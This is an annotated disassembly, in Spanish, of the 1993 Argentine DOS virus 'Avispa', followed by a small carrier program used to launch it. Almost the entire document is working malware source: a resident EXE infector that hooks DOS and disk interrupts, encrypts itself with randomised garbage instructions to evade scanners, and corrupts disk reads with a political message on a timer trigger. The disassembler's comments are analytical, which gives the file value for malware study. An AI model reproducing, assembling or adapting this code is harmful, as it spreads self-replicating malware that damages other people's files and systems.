; ------------Código fuente del VIRUS AVISPA ---------------------------------
avispa segment byte public
; Desensamblado por peron..
assume cs:avispa, ds:avispa, es:avispa, ss:avispa
.186
org 100h
; Virus: Avispa
; Tipo: Residente, Parasítico, Infector de EXE, Encriptado
; Size: 2048(+15) bytes.
; Origen: Argentina, c.1990
; Autor: "Elijah Baley"
Start:
; Rutina desencriptora. Varía de modalidad infectora
; a infeccion en algunos bytes, pues el virus hace todo un intercambio.
MOV BX,0
PUSH CX
POP CX
ADD BL,0
PUSH DX
POP DX
Decrypt:
MOV AX,cs:[BX]
PUSH DX
POP DX
MOV CX,0
PUSH DX
POP DX
SUB CL,0
PUSH SI
POP SI
NOP
XOR AX,CX
PUSH SI
POP SI
MOV cs:[BX],AX
PUSH SI
POP SI
INC BX
NOP
INC BX
PUSH SI
POP SI
MOV AX,0
PUSH DI
POP DI
ADD AX,0
PUSH DI
POP DI
NOP
CMP BX,AX
PUSH DI
POP DI
JB Decrypt
NOP
VirBegin:
JMP StartVir
; Data
fHandler dw 0 ; Handler del file a infectar
OldEntryPoint dd 0 ; CS:IP del header EXE
OldStackPtr dd 0 ; SS:SP del header EXE
ErrorVar db 0 ; Flag de error (1 ==> Error)
; la linea que sigue es un desperdicio de 4 bytes
db 0,0,0,0 ; al pedo 1
OldInt21 dd 0 ; Puntero a ISR de INT 21 original.
NamePtr dd 0 ; Puntero a filename en llamada a 4B INT 21.
OldInt24 dd 0 ; Puntero a ISR de INT 24 original.
; esto ya es medio alevoso.
db 0,0,0,0 ; al pedo 2
OldInt13 dd 0 ; Puntero a ISR de int 13 original.
ReadBuffer db 34h dup(?) ; Buffer para lectura (usado para autoreconocimiento del virus)
fAttr dw 0 ; Atributo del file a infectar.
fTimeDate dd 0 ; Time & Date del file.
BytePara db 0 ; Nro. de bytes que faltan para el para.
ShitByte db 0 ; byte para la garbage para poner al final.
MemBlock dw 0 ; usado durante la infeccion.
; comienzo a sospechar que puso ceros para despistar.
db 0, 0 ; al pedo 3
VirName db "__ Virus Avispa - Buenos Aires - Noviembre 1993 __"
; ...........................................................................
; Rutina instaladora
; Aqui viene el control luego de que el virus ha sido desencriptado.
StartVir:
MOV AX,4BFFh ; residence test
INT 21h ; definido por el mismo
CMP AX,4BFEh
JNZ Install_Virus ; Si no esta en memoria => Instalar virus
; Esta en memoria. Correr hoste.
MOV AX,word ptr cs:OldStackPtr+2
MOV BX,DS
ADD AX,10h
ADD AX,BX ; Pone en SS y SP sus valores originales
MOV SS,AX ; (del header exe previo a la infeccion).
MOV AX,word ptr cs:OldStackPtr
MOV SP,AX
MOV AX,cs:word ptr OldEntryPoint+2; del CS:IP de entrada.
MOV BX,DS ; Y a hora saltar al adress original
ADD AX,10h
ADD AX,BX
PUSH AX
MOV AX,cs:word ptr OldEntryPoint
PUSH AX
RETF
; Si no esta en memoria...
Install_Virus:
PUSH DS ; Lo que esta haciendo es copiar su
POP ES ; propio codigo, que esta al final del
MOV DI,100h ; bloque de memoria del programa hoste
PUSH CS ; al principio de este bloque, para asi
POP DS ; quedar residente correctamente con
MOV SI,100h ; una llamada normal a DOS.
CLD ; Esto produce que no pueda pasar el control al
MOV CX,800h ; hoste entregando el control al CS:IP si tiene que
REPZ ; instalarse. Para hacerlo, debe correrlo via 4B.
MOVSB
PUSH ES ; A continuacion salta al codigo que acaba de copiar.
PUSH offset Branch_Address
RETF
Branch_Address:
PUSH CS ; modifica el bloque de memoria para
POP DS ; ponerlo en 90 paragrafos
MOV AH,4Ah ; (2304 bytes)
PUSH CS
POP ES
MOV BX,90h
INT 21h
; Colgadas de las interrupciones.
MOV AX,3521h ; Obtener IVT entry de Int 21
INT 21h
MOV word ptr OldInt21,BX; y guardarla.
MOV word ptr OldInt21+2,ES
MOV AX,3513h ; Obtener Int 13
INT 21h
MOV word ptr OldInt13,BX; y guardarla
MOV word ptr OldInt13+2, ES
MOV AX,2521h ; hookear int 21
MOV DX,offset NewInt21
INT 21h
MOV AX,2513h ; hookear int 13
MOV DX,offset NewInt13
INT 21h
MOV ES,word ptr ds:[2Ch]
MOV BX,0
GetName:
MOV AX,es:[BX]
CMP AX,0
JZ GotName
INC BX
CMP BX,12Ch
JNZ GetName
;JMP KeepRes ; Este JMP hay que hacerlo HARD CODED!
aux_1: db 0e9h
dw offset KeepRes-3-offset aux_1
; Rutina de datos. Es usado para llamar a prog orign.
DataForRun:
dw ? ; Environment Segment
dw 0080H
dw ? ; Far pointer to Command Line
dw 005CH
dw ? ; Far pointer to FCB 1
dw 006CH
dw ? ; Far pointer to FCB 2
GotName:
ADD BX,4
MOV DX,BX
MOV word ptr DataForRun,ES
MOV word ptr DataForRun+4,CS
MOV word ptr DataForRun+8,CS
MOV word ptr DataForRun+12,CS
MOV BX,offset DataForRun
PUSH ES
POP DS
PUSH CS
POP ES
MOV AX,4B00h
PUSH CS
POP SS
MOV SP,900h
PUSHF
CALL dword ptr cs:OldInt21
PUSH DS
POP ES
MOV AH,49h
INT 21h
; Quedar residente mediante INT21 AH=31. con 90 para.
KeepRes:
MOV AH,31h
MOV DX,90h
INT 21h
; El código que sigue desperdicia 4 bytes al pedo.
; Quiza Elijah no sabia que AH=31 INT 21 no devuelve el control :-)
; (o Elijah gorilearía de gil nomás)
MOV AH,4Ch
INT 21h
NewInt21:
CMP AX,4BFFh
JNZ GoOn
DEC AX ; residence test
IRET
; no es residence test.
GoOn:
CMP AX,4B00h ; Es funcion Run program?
JZ RunProgramFunc
JMP dword ptr cs:OldInt21 ; no => INT 21 original.
RunProgramFunc:
PUSHA
PUSH ES
PUSH DS
MOV cs:word ptr NamePtr+2,DS; guardar ds
MOV cs:word ptr NamePtr,DX ; y dx en memoria cuidadosamente.
CALL Infect ; llamar a rutina infectora.
POP DS
POP ES
POPA
JMP dword ptr cs:OldInt21 ; int 21 original.
Infect:
CALL CheckName ; chequeo del nombre
PUSH CS
POP DS
CMP AH,0 ; Si el nombre = OK infecta.
JZ NameIsOk
MOV AH,1 ; si el nombre del file termina con
RET ; AN, LD, OT, an, ld, ot, no infecta
NameIsOk:
MOV AH,3Dh ; Abrir el file para r/w
MOV AL,2
MOV DX,word ptr NamePtr
MOV DS,cs:word ptr NamePtr+2
PUSHF
CALL dword ptr cs:OldInt21
JB ErrorAndGetOut ; Si hubo error => Sale
PUSH CS
POP DS
MOV fHandler,AX ; Guardar el handler
MOV BX,AX
CMP WORD PTR ds:[80h],5A4Dh ; Si no es exe, no infecta
JNZ ErrorAndGetOut
CMP WORD PTR ds:[94h],0 ; Si CS o IP=0, AH=1 y
JNZ ProceedInfect ; no infecta.
CMP WORD PTR ds:[96h],0 ; sino, infecta. (335)
JZ ErrorAndGetOut
;JMP ProceedInfect ; otro que hay que hacer hard coded
aux_2: db 0e9h
dw offset ProceedInfect-offset aux_2-3
JB ErrorAndGetOut ; Si hubo error => Sale con error
PUSH CS
POP DS
MOV fHandler,AX ; Guarda el handler de nuevo
MOV AX,4202h ; Mover el puntero al final del
MOV BX,fHandler ; file.
MOV DX,0
MOV CX,0
INT 21h
CMP AX,34h ; Si ax>= 34h ==> dx
JB DecDx ; Si ax<34h ==> dx--;
;JMP Sub34 ; otro hard coded
aux_3: db 0e9h
dw offset Sub34-offset aux_3-3
DecDx:
DEC DX
Sub34:
SUB AX,34h ; Le resta 34h al size del file.
MOV CX,DX
MOV DX,AX
MOV AX,4200h
MOV BX,fHandler ; Mueve el ptr 34h bytes adelante
INT 21h ; del eof.
MOV AH,3Fh ; Lee 34h bytes a Buffer
MOV BX,fHandler
MOV CX,34h
MOV DX,offset ReadBuffer
INT 21h
MOV AH,3Eh ; Cierra el file.
MOV BX,fHandler
INT 21h
MOV BX,offset ReadBuffer ; Esta porción de codigo es para
MOV CX,[BX] ; auto-reconocerse.
ADD BX,2 ; Mientras otros virus encriptados y
MOV DX,0 ; polimorficos se reconocen
LoopChecksum: ; manipulando la fecha u hora del file
MOV AX,[BX] ; como el Gisela, este implementa un
XOR AX,CX ; pseudo-checksum. Muy Bueno.
ADD DX,AX
INC BX
INC BX
CMP BX,offset ReadBuffer+34h
JNZ LoopChecksum
CMP DX,7DDAh
JNZ NotInfected ; Si no esta, ==> NotInfected
GetOut:
JMP ErrorAndGetOut ; Si ya esta infectado, sale
NotInfected:
MOV AX,3524h ; Guarda viejo vector y captura
INT 21h ; la int de Critical error handler
MOV word ptr OldInt24,BX ; a una rutina 'dummy'
MOV word ptr OldInt24+2,ES
MOV AX,2524h
MOV DX,offset NewInt24 ; dummy error handler
INT 21h
MOV AH,43h ; Obtiene el atributo del file.
MOV AL,0
MOV DX,word ptr NamePtr
MOV DS,cs:word ptr NamePtr+2
INT 21h
PUSH CS
POP DS
MOV BYTE PTR ErrorVar,0 ; pone 0 en la variable de er.
MOV fAttr,CX ; guarda el atributo.
MOV AH,43h ; Pone el atributo del file.
MOV AL,1 ; a 0, pasando por encima de la
MOV DX,word ptr NamePtr ; flag ReadOnly
MOV CX,0
MOV DS,cs:word ptr NamePtr+2
INT 21h
; JMP Skip1 ; otro hard coded y van... pero con que mierda
aux_4: db 0e9h; ensambla este tipo?
dw offset Skip1-offset aux_4-3
NearGetOut:
JMP GetOut
Skip1:
PUSH CS
POP DS
MOV AX,2524h ; Vuelve a poner en el valor original
MOV DX,word ptr OldInt24 ; al vector de INT 24
MOV DS,cs:word ptr OldInt24+2
INT 21h
PUSH CS
POP DS
CMP BYTE PTR ErrorVar,1 ; Ve la flag de error.
JZ GetOut ; si lo hubo, sale
; si no hubo error, sigue aqui
MOV AH,3Dh ; Reabre el file (3ra vez!) en
MOV AL,2 ; modo lectura escritura/
MOV DX,word ptr NamePtr
MOV DS,cs:word ptr NamePtr+2
PUSHF
CALL dword ptr cs:OldInt21
JB NearGetOut ; si hubo error, sale
PUSH CS
POP DS
MOV fHandler,AX ; guarda el handler
MOV AH,57h ; Obtiene la vieja time&date
MOV AL,00 ; stamp del file
MOV BX,fHandler
INT 21h
MOV word ptr fTimeDate,DX ; y la guarda
MOV word ptr fTimeDate+2,CX
MOV BYTE PTR BytePara,0 ; clarea la cuenta de bytes para el paragr.
RoundToPara:
MOV AX,4202h ; mueve el puntero al fin del file
MOV BX,fHandler
MOV CX,0
MOV DX,0
INT 21h
CMP CX,0fh
JA NearGetOut2
MOV BX,10h ; Ve si el file termina en paragrafo
DIV BX
CMP DX,0
JZ RoundedUp ; Termina en para => RoundedUp
MOV AH,40h ; Si no termina el paragrafo,
MOV BX,fHandler ; escribe un byte de "shitbyte"
MOV CX,1 ; y vuelve a empezar todo.
MOV DX,offset ShitByte
INT 21h
MOV AH,BytePara ; incrementa el nro. de bytes para el
INC AH ; paragrafo.
MOV BytePara,AH
JMP RoundToPara
; Si al pedir largo de file, CX = 15 viene aca
NearGetOut2:
PUSH CS
POP DS
MOV AH,3Eh ; Cierra el file
MOV BX,fHandler
INT 21h
MOV AH,1 ; y vuelve con error.
RET
; Aqui ya redondeo el fin del file en párrafo.
; El header EXE del file esta en offset 80.
RoundedUp:
SUB AX,10h ; En ax tenia el numero de parafos del file.
MOV CX,ds:[84h] ; Modifica el numero de 'paginas'
ADD CX,4 ; de 512 b. del header exe
MOV ds:[84h],CX
SUB AX,ds:[88h] ; (le resta el header size)
MOV CX,ds:[94h] ; Guarda en variables el viejo entry point.
MOV word ptr OldEntryPoint,CX
MOV CX,ds:[96h]
MOV word ptr OldEntryPoint+2,CX
MOV CX,ds:[8Eh] ; Idem el viejo SS:SP
MOV word ptr OldStackPtr+2,CX
MOV CX,ds:[90h]
MOV word ptr OldStackPtr,CX
MOV ds:[96h],AX ; Modifica el CS del header
MOV ds:[8Eh],AX ; Modifica el SS del header
MOV WORD PTR ds:[90h],900h ; pone sp
MOV WORD PTR ds:[94h],100h ; e ip a valores constantes
MOV AX,ds:[82h]
SUB BX,BX
MOV BL,BytePara
ADD AX,BX
MOV ds:[82h],AX ; Modifica el reminder
MOV AH,48h
MOV BX,90h ; pide un 2do bloque de memoria.
INT 21h ; de 90 para.
JB NearGetOut2 ; si error => sale
MOV cs:word ptr MemBlock,AX ; guarda el seg del bloque obt.
MOV ES,MemBlock
MOV DI,100h
MOV SI,100h
CLD
MOV CX,800H ;? ; se copia en ese bloque.
REPZ
MOVSB
CALL VariableEncryption ; Variabiliza la otra copia del vir.
PUSH CS
POP DS
MOV BX,fHandler ; escribe al final del file la
MOV CX,800H ; copia del otro bloque
MOV AH,40h
MOV DX,100h
MOV DS,cs:MemBlock
INT 21h
PUSH CS
POP DS
MOV AH,42h ; se mueve al principio del file
MOV AL,0
MOV BX,fHandler
MOV CX,0
MOV DX,0
INT 21h
MOV AH,40h ; escribe el header exe modified
MOV BX,fHandler
MOV CX,1Eh
MOV DX,80h
INT 21h
PUSH CS
POP DS
MOV AH,57h ; repone la vieja time and date
MOV AL,1 ; stamp
MOV CX,word ptr fTimeDate+2
MOV DX,word ptr fTimeDate
MOV BX,fHandler
INT 21h
MOV AH,3Eh ; cierra el file
MOV BX,fHandler
INT 21h
MOV AH,43h ; repone el viejo atributo
MOV AL,1
MOV CX,fAttr
MOV DX,word ptr NamePtr
MOV DS,cs:word ptr NamePtr+2
INT 21h
PUSH CS
POP DS
MOV AH,49h ; libera el bloque de memoria
MOV ES,MemBlock
INT 21h
MOV AH,0
RET ; sale
CryptKey dw 0; Variable de Encripción
GarbageInstruccions:
; Estas instrucciones-basura son usadas para variabilizar la rutina de
; desencripcion del virus durante la encripcion.
MOV AH,AH
MOV BH,BH
MOV CH,CH
MOV DH,DH
MOV AL,AL
MOV BL,BL
MOV CL,CL
MOV DL,DL
PUSH AX
POP AX
PUSH BX
POP BX
PUSH CX
POP CX
PUSH DX
POP DX
PUSH SI
POP SI
PUSH DI
POP DI
PUSH ES
POP ES
PUSH DS
POP DS
MOV CL,CL
VariableEncryption:
; La llama ANTES de escribir el codigo en el 2do bloque de mem.
; Como se puede ver, no es polimorfismo sino en todo caso "encripcion variable"
MOV DS,cs:MemBlock ; mueve a ds el 2 bloque del v.
PUSH AX
MOV AX,0040h
MOV ES,AX
POP AX
XOR DX,DX ; lee el byte menos significat
MOV DL,es:[6Ch] ; de los ticks since midnight
MOV CX,offset VirBegin; le resta a 314 (13a) eso.
SUB CL,DL
MOV word ptr Start+1,CX ; guarda resto en orden mov
MOV WORD PTR Start+5,0C380h ; pone "add bl, "
MOV byte ptr Start+7,DL ; y el dl en orden add
MOV DX,es:[6Ch] ; en DX a los ticks le suma
ADD DX,CS:MemBlock ; el seg del bloque
MOV CS:CryptKey,DX ; y lo guarda
MOV CX,ES:[6Ch] ; a la word - sign. de los ticks le
ADD CX,ES:[6Eh] ; suma la word + significativa.
MOV CH,0 ; Todo esto es para sacar un valor
ADD DL,CL ; mas o menos azaroso.
MOV word ptr Start+10h,DX ; y guarda
MOV byte ptr Start+16h,CL
MOV AX,CX
; Para Randomizar el XOR AX, CX | NOP
JPE IsEven
MOV WORD PTR Start+19h,0C133h; si no es par =>
MOV BYTE PTR Start+1bh,90h ; xor ax, cx | nop
; JMP IsOdd ; increible. que ensambla, en A86? caray!
aux_5: db 0e9h
dw offset IsOdd-offset aux_5-3
IsEven:
MOV BYTE PTR Start+19h,90h ; si es par =>
MOV WORD PTR Start+1ah,0C133h; nop | xor ax, cx
; Rutina para Randomizar el ADD BX, 2
IsOdd:
CMP WORD PTR Start+23h,4343h ; inc bx | inc bx | nop?
JZ IsIncIncNop
CMP WORD PTR Start+24h,4343h ; nop | inc bx | inc bx?
JZ IsNopIncInc
CMP WORD PTR Start+23h,0C383h ; add bx, ?
JZ IsAdd
MOV WORD PTR Start+23h,4343h ; inc bx | nop | inc bx =>
MOV BYTE PTR Start+25h,90h ; INC BX | INC BX | NOP
; JMP Skip2Next ; esto ya es una joda
aux_6: db 0e9h
dw offset Skip2Next-offset aux_6-3
IsIncIncNop:
MOV BYTE PTR Start+23h,90h ; inc bx | inc bx | nop
MOV WORD PTR Start+24h,4343h ; NOP | INC BX | INC BX
; JMP Skip2Next ; esto ya me esta cansando
aux_7: db 0e9h
dw offset Skip2Next-offset aux_7-3
IsNopIncInc:
MOV WORD PTR Start+23h,0C383h ; nop | inc bx | inc bx
MOV BYTE PTR Start+25h,2 ; SUB AX, 2
; JMP Skip2Next ; de mas esta decir que tengo las pelotas hasta el suelo
aux_8: db 0e9h
dw offset Skip2Next-offset aux_8-3
IsAdd:
MOV BYTE PTR Start+23h,43h ; add bx, ?
MOV BYTE PTR Start+24h,90h ; INC BX | NOP | INC BX
MOV BYTE PTR Start+25h,43h
; Rutina para Randomizar el mov ax, fin
Skip2Next:
MOV CX,8CCh ; largo total
MOV DX,es:[6Dh]
SUB CX,DX
MOV word ptr Start+29h,CX
MOV word ptr Start+2eh,DX
MOV AX,DX
; Rutina para randomizar el cmp bx, ax | nop
JPE IsEven2
MOV WORD PTR Start+32h,0C339h
MOV BYTE PTR Start+34h,90h
; JMP DoneCmpNop; si encuentro al autor del A86 lo castro
aux_9: db 0e9h
dw offset DoneCmpNop-offset aux_9-3
IsEven2:
MOV BYTE PTR Start+32h,90h
MOV WORD PTR Start+33h,0C339h
; Rutina para agregar ordenes trash
DoneCmpNop:
MOV CX,0Bh
MOV BX,offset Start+3
AddTrash:
XOR DX,DX ; Esta parte del codigo cambia las "ordenes
XOR AX,AX ; basura" de la rutina de encripcion.
MOV AL,es:[6Ch]
ADD AL,BL
MOV DL,10h
DIV DL
ADD AL,AL
MOV AH,00
MOV SI,offset GarbageInstruccions
ADD SI,AX
MOV DX,cs:[SI]
MOV [BX],DX
ADD BX,5
LOOP AddTrash
; Rutina para encriptar el codigo en si.
PUSH CS
POP DS
MOV ES,MemBlock ; ES <= VIRUS SEGMENT
MOV BX,offset VirBegin; BX <= BASE ADRESS
MOV CX,CryptKey ; CX <= ENCRYPTION KEY
EncryptIt:
MOV AX,ES:[BX]
XOR AX,CX
MOV ES:[BX],AX
INC BX
INC BX
CMP BX,8CCh
JB EncryptIt
; Esta rutina pone basura en la cola del virus
PUSH CS
POP DS
MOV DI,8CEh
MOV ES,MemBlock
MOV SI,offset VirName
CLD
MOV CX,32h
REPZ
MOVSB
PUSH AX
MOV AX,40h
MOV ES,AX
POP AX
MOV CX,es:[6Ch]
MOV ES,cs:MemBlock
MOV es:[8CCh],CX
MOV BX,8CEh
TooMuchShit:
MOV AX,es:[BX]
XOR AX,CX
MOV es:[BX],AX
INC BX
INC BX
CMP BX,900h
JB TooMuchShit
RET
CheckName: ; Compara si el nombre dado en DS:DX
; Si las ultimas dos letras son AN, LD, OT, o an, ld, ot, devuelve 1 en ah
; si no devuelve ah=0
MOV BX,DX
GetPoint:
CMP BYTE PTR [BX],2Eh ; busca el punto, para ext.
JZ GotPoint
INC BX
JMP GetPoint
GotPoint:
CMP WORD PTR [BX-2],4E41h; Ultimas dos letras AN
JZ BadName
CMP WORD PTR [BX-2],6E61h; Ultimas dos letras an
JZ BadName
CMP WORD PTR [BX-2],444Ch; Ultimas dos letras LD
JZ BadName
CMP WORD PTR [BX-2],646Ch; Ultimas dos letras ld
JZ BadName
CMP WORD PTR [BX-2],544Fh; Ultimas dos letras OT
JZ BadName
CMP WORD PTR [BX-2],746Fh; Ultimas dos letras ot
JZ BadName
MOV AH,0
RET
BadName:
MOV AH,1
RET
NewInt24: ; errorhandler
; Rutina 'dummy' para int 24.
; Excepto que setea una variable a uno.
MOV BYTE PTR cs:ErrorVar,1
IRET
NewInt13:
; Rutina reemplazo int 13.
CMP AH,2 ; Es para lectura?
JZ ReadFunc
BackToInt13:
JMP dword ptr CS:OldInt13 ; Si no, llama a int 13 original.
; es para lectura
ReadFunc:
CMP CH,0Ah ; Si nro. de track<10=int 13 orig.
JB BackToInt13
; Rutina de espoleta ...
PUSH ES
PUSH AX
PUSH AX
MOV AX,40h ; Se fija variable de BIOS en
MOV ES,AX ; 40:6C = Timer ticks since midnight
POP AX ; Es un DWORD.
MOV AX,es:[6Ch]
CMP AX,0
JZ ItsZero ; Si es cero: => 75a
POP AX
POP ES
JMP BackToInt13 ; Si != 0, Int 13 orign.
ItsZero:
POP AX
POP ES
PUSHF
CALL dword ptr cs:OldInt13; Llama a int 13 original con
JB ReadError ; Valores originales. Error => sale
PUSHA
PUSH ES
PUSH DS
PUSH CS
POP DS
MOV DI,BX ; Sobreescribe lo leido con el texto
MOV SI,offset Text ; mas abajo
MOV CX,200h
CLD
REPZ
MOVSB
POP DS
POP ES
POPA
ReadError:
IRET
; Cabeza de Guerra.
; Este clásico cadena de texto en el que insulta a Menem
; por la "picadura de avispa" de 1993 y la amnistía a genocidas.
Text db "$$ Virus AVISPA $$ Republica Argentina$$ Elijah Baley "
db "$$ Noviembre 10 de 1993 "
db "$$ This program is not an old virus variant, and it was written "
db "in Argentina by Elijah Baley. It uses polymorphic technics to"
db " avoid conventional scanning."
db "$$ MENEM: Libertador de torturadores y asesinos de inocentes, que"
db " Dios se apiade de tu pobre alma. $$ 64446"
ends avispa
end Start
; --------------------- AVISPA : -------------------------------------------
El carrier
; -------------------- Fake Hoste : ----------------------------------------
hoste segment byte public
assume cs:hoste, ds:hoste, es:hoste, ss:hoste
org 100h
FakeHoste:
mov ax, 4bffh
int 21h
cmp ax, 4bfeh
jnz InstallIt
mov ax, 4c00h
int 21h
InstallIt:
mov ax, cs
add ax, 80h
mov ss, ax
mov sp, 0
push ax
push 100h
retf
EndHoste:
db 800h-(offset EndHoste-offset FakeHoste) DUP('a');
ends
end FakeHoste
; -------------------- Fake Hoste : ----------------------------------------